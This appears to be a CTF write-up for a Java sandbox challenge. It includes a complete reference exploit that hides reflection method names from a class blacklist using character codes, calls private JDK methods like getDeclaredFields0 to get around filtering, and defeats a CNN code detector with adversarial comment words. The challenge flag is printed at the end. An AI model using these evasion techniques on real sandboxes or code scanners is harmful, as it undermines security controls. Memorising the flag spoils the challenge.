Securinets Friendly CTF 2026 / Misc WRITEUP
BEGNERZZZZ MAXIING
Maxed out the LARP build and left evidence at level one.
Walkthrough
What players receive
Main.jardetector.pydetector_weights.json
Main.jar contains the exact Java 21 bytecode executed by the service, without the Java source. Players can inspect it with javap -p -c, CFR, FernFlower, JADX, or another JVM decompiler.
The service prints a fresh 16-character nonce and accepts one Base64-encoded Exploit.java. The submitted class must expose:
public static String run(Main.LarpReview review, String nonce) throws Exception
The source must finish with /* maxing:... */.
Intended solve
The detector is a byte CNN with a nonce-gated bank of negative filters. Its weights are public. Recover a printable word for each active negative channel by choosing, at every convolution position, the byte whose embedding has the largest dot product with that position's weights. Greedily append recovered words to the final comment until the logit is negative. A note made for one nonce normally fails on another nonce.
Reverse Main.jar to recover the submission ABI, filtered object graph, class-file blacklist, shard format, receipt stream and final proof algorithm.
After javac, every generated class is scanned. Literal references to the raw reflection methods, accessibility helpers, file APIs, process APIs and common JVM escape primitives are rejected. String concatenation with literals does not help because javac folds it into the same constant pool entry. Construct the three required names from character codes at runtime.
Ordinary getDeclaredFields() cannot see LarpReview.receipts. Obtain the private native Class.getDeclaredFields0(false) method, make it accessible through a dynamically located accessibility method, then recover the hidden root array.
Walk Main.Trail objects by identity rather than recursively. The graph has cycles and a fresh order on every run. Save the Main.Envelope and inspect the other objects. Ordinary getDeclaredMethods() cannot see the useful method on the permit class, so repeat the raw metadata bypass with Class.getDeclaredMethods0(false).
Calling the private zero-argument String methods yields many decoys and four real Base64URL shards. A real shard is 13 bytes:
index (1) || key bytes (8) || SHA256(nonce || first 9 bytes || "MAX")[:4]
Place the four valid parts by index to rebuild the 32-byte key. The encryption stream is SHA256(nonce || key), and the receipt is the envelope ciphertext XORed with that stream. Return the lowercase hexadecimal value of SHA256(nonce || receipt). Python verifies it and releases the flag; the flag itself never enters the submitted JVM.
The envelope is also stateful: before all four genuine dropReceipts() calls, its public getter returns fresh decoy bytes. Reading the graph but skipping the filtered-method stage therefore produces a bad proof.
Solve.java is the organizer implementation. test.py derives a new note and runs it, so no separate solver script is needed.
Reference solver
The reference solver supplied with the writeup:
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.ArrayDeque;
import java.util.Base64;
import java.util.Collections;
import java.util.IdentityHashMap;
import java.util.Set;
public class Exploit {
private static String word(int... letters) {
char[] out = new char[letters.length];
for (int i = 0; i < letters.length; i++) out[i] = (char) letters[i];
return new String(out);
}
private static byte[] hash(byte[]... chunks) throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
for (byte[] chunk : chunks) md.update(chunk);
return md.digest();
}
private static String hex(byte[] data) {
StringBuilder out = new StringBuilder();
for (byte value : data) out.append(String.format("%02x", value & 255));
return out.toString();
}
public static String run(Main.LarpReview review, String nonce) throws Exception {
String openName = word(115,101,116,65,99,99,101,115,115,105,98,108,101);
Method open = AccessibleObject.class.getMethod(openName, boolean.class);
String fieldsName = word(103,101,116,68,101,99,108,97,114,101,100,
70,105,101,108,100,115,48);
Method rawFields = Class.class.getDeclaredMethod(fieldsName, boolean.class);
open.invoke(rawFields, true);
Field[] fields = (Field[]) rawFields.invoke(Main.LarpReview.class, false);
Object[] roots = null;
for (Field field : fields) {
if (field.getType() == Object[].class) {
open.invoke(field, true);
roots = (Object[]) field.get(review);
}
}
if (roots == null) return "";
String methodsName = word(103,101,116,68,101,99,108,97,114,101,100,
77,101,116,104,111,100,115,48);
Method rawMethods = Class.class.getDeclaredMethod(methodsName, boolean.class);
open.invoke(rawMethods, true);
ArrayDeque<Object> queue = new ArrayDeque<>();
Collections.addAll(queue, roots);
Set<Object> seen = Collections.newSetFromMap(new IdentityHashMap<>());
byte[][] pieces = new byte[4][];
Main.Envelope envelope = null;
while (!queue.isEmpty()) {
Object item = queue.removeFirst();
if (item == null || !seen.add(item)) continue;
if (item instanceof Main.Trail trail) {
Collections.addAll(queue, trail.walk());
continue;
}
if (item instanceof Main.Envelope found) {
envelope = found;
continue;
}
Method[] methods = (Method[]) rawMethods.invoke(item.getClass(), false);
for (Method method : methods) {
if (method.getParameterCount() != 0 || method.getReturnType() != String.class)
continue;
try {
open.invoke(method, true);
String value = (String) method.invoke(item);
byte[] packed = Base64.getUrlDecoder().decode(value);
if (packed.length != 13 || packed[0] < 0 || packed[0] > 3) continue;
byte[] body = java.util.Arrays.copyOf(packed, 9);
byte[] tag = hash(nonce.getBytes(StandardCharsets.US_ASCII), body,
"MAX".getBytes(StandardCharsets.US_ASCII));
boolean valid = true;
for (int i = 0; i < 4; i++) valid &= packed[9 + i] == tag[i];
if (valid) pieces[packed[0]] = java.util.Arrays.copyOfRange(packed, 1, 9);
} catch (Exception ignored) {
}
}
}
if (envelope == null) return "";
byte[] key = new byte[32];
for (int i = 0; i < 4; i++) {
if (pieces[i] == null) return "";
for (int j = 0; j < 8; j++) key[i * 8 + j] = pieces[i][j];
}
byte[] stream = hash(nonce.getBytes(StandardCharsets.US_ASCII), key);
byte[] ciphertext = envelope.ciphertext();
byte[] receipt = new byte[ciphertext.length];
for (int i = 0; i < receipt.length; i++) receipt[i] = (byte) (ciphertext[i] ^ stream[i]);
return hex(hash(nonce.getBytes(StandardCharsets.US_ASCII), receipt));
}
}
/* maxing:{{NOTE}} */Flag
Securinets{m4x1ng_th3_l4rp_d03s_n0t_m4k3_1t_r34l}